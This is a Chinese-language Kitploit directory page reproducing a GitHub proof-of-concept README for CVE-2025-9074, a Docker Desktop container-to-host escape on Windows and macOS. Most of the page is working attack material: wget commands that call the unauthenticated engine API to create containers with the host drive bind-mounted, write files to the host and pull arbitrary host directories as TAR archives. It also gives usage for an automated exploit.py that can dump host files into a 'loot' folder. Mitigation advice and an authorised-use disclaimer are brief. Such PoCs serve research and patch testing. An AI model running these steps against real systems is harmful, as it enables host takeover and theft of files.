Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-9074 | Kitploit
工具/GitHubGitHub/pucagit/cve-2025-9074
漏洞分析漏洞利用渗透测试云安全学习与教育容器逃逸
GitHubpucagit/cve-2025-9074

CVE-2025-9074

查看仓库
2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-9074 – Windows 与 macOS 上 Docker Desktop 的完整 Docker 逃逸

📌 描述

Docker Desktop 将内部 Docker 引擎 API http://192.168.65.7:2375 暴露给 任何 正在运行的容器——没有身份验证,也没有访问控制。

由于引擎本身可以挂载宿主机文件系统,容器可以调用此 API 来创建一个绑定挂载宿主机驱动器的容器,然后利用该容器读写宿主机上的任意文件——实现完整的容器到宿主机逃逸。

📝 参考资料

  • CVE-2025-9074 记录
  • Docker Desktop 发布说明(已在 4.44.3 中修复)
  • Felix Boulet 的研究

🎯 受影响版本

  • 位于 Windows 和 macOS 上的 Docker Desktop ≤ 4.44.3

⚙️ 工作原理

  1. 访问 API。 运行中的容器连接到 http://192.168.65.7:2375 上的 Docker 引擎 API——无需任何凭据。
  2. 创建特权容器。 它发送 POST /containers/create 请求,其中包含 Binds: ["/mnt/host:/host_root"],将宿主机驱动器挂载到新容器中。在 Docker VM 内部,宿主机文件系统暴露在 /mnt/host(例如 Windows 的 C: 驱动器位于 /mnt/host/c)。
  3. 启动容器。 POST /containers/{id}/start 激活绑定挂载,从而获得宿主机完全访问权限。
  4. 写入宿主机文件。 新容器运行一条向绑定挂载写入数据的命令(例如 echo pwned > /host_root/c/test/pwn.txt)。
  5. 读取宿主机文件。 GET /containers/{id}/archive?path=... 将宿主机上的任意路径以 TAR 归档形式流式返回——无需 shell。

🧪 实验环境搭建

环境要求

  • 低于 4.44.3 的 Docker Desktop(Windows 或 macOS)
  • 一个能够访问内部 API 的攻击者容器(任何容器都可以)

准备测试数据(Windows)

创建包含一些示例内容的 C:\test\readme.txt,以便读取演示有明确的目标文件。

poc 1

启动攻击者容器

root@kitploit:~
docker run -it --rm alpine /bin/sh

以下所有手动步骤均在此容器内部运行(alpine 自带 wget)。 为 API 设置一个 shell 变量,以便后续命令更简短:

root@kitploit:~
API=http://192.168.65.7:2375

✍️ 复现——向宿主机写入

目标:从容器内部在宿主机上创建 C:\test\pwn.txt。

root@kitploit:~
# 1. Create a container that mounts the host C: drive and writes a file into it.
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create

# 2. Extract the new container ID from the JSON response.
cid=$(cut -d'"' -f4 create.json)

# 3. Start it — the command runs and writes the file to the host.
wget -q -O - --post-data='' $API/containers/$cid/start

发生了什么:

  • Binds: /mnt/host:/host_root 将宿主机驱动器挂载到新容器中。
  • 容器的命令将 pwned 写入 C:\test\pwn.txt(即 /host_root/c/test/pwn.txt)。
  • 整个过程从未要求提供任何凭据。

预期结果: 宿主机上现在存在 C:\test\pwn.txt。

poc 2


📖 复现——从宿主机读取

目标:从容器内部读取宿主机上的 C:\test\readme.txt。

root@kitploit:~
# 1. Create + start a container with the host drive mounted (kept alive briefly).
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start

# 2. Ask the engine for a TAR archive of the host directory, then extract it.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt

发生了什么:

  • 相同的绑定挂载将宿主机驱动器暴露给新容器,便于以只读方式访问。
  • GET /containers/{id}/archive?path=... 将宿主机上的任意路径以 TAR 归档形式流式返回——无需 shell。
  • 解压归档即可看到宿主机文件内容。

预期结果: 打印出 C:\test\readme.txt 的内容。

poc 3


🤖 自动化利用——exploit.py

exploit.py 将上述两种流程自动化。它仅使用 Python 标准库,自动检测宿主机挂载路径(Windows /mnt/host/c 与 macOS/Linux /),并自动转换宿主机原生路径。

内部 API(192.168.65.7:2375)只能从容器内部访问,因此请在一个安装了 Python 的容器中运行该脚本:

root@kitploit:~
# From the repo directory on the host:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info

在 Windows PowerShell 中,使用 -v "${PWD}:/x";在 cmd.exe 中,使用 -v "%cd%:/x"。

验证访问

root@kitploit:~
python /x/exploit.py info

探测 API,检测宿主机操作系统,并列出宿主机挂载的顶层条目。

写入宿主机文件

root@kitploit:~
# Windows host
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'

# macOS/Linux host (or pipe content via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt

读取宿主机文件

root@kitploit:~
# Print to stdout
python /x/exploit.py read 'C:\test\readme.txt'

# Or extract (file or whole directory) into ./loot
python /x/exploit.py read 'C:\test' --out ./loot

常用参数


🛡️ 缓解措施

  • 在 Windows 和 macOS 上,将 Docker Desktop 升级到 ≥ 4.44.3。
  • 不要运行不受信任的镜像;未修补的 API 可从 任何 容器访问。

⚠️ 免责声明

本 PoC 仅供授权测试、教育和研究使用。作者对滥用不承担任何责任。请仅针对您拥有或获准测试的系统运行。


🙏 致谢

本 PoC 与 README 源自 Felix Boulet 的研究。原始发现与分析的全部功劳归原作者所有。


📜 许可证

本项目基于 MIT License 许可。

下载工具
参数
用途
--api URL覆盖 API 端点(默认为 http://192.168.65.7:2375)
--image NAME漏洞利用容器使用的镜像(默认为 alpine,若缺失会自动拉取)
--vm-mount PATH跳过自动检测,强制指定 VM 内的宿主机挂载路径(例如 /mnt/host 或 /)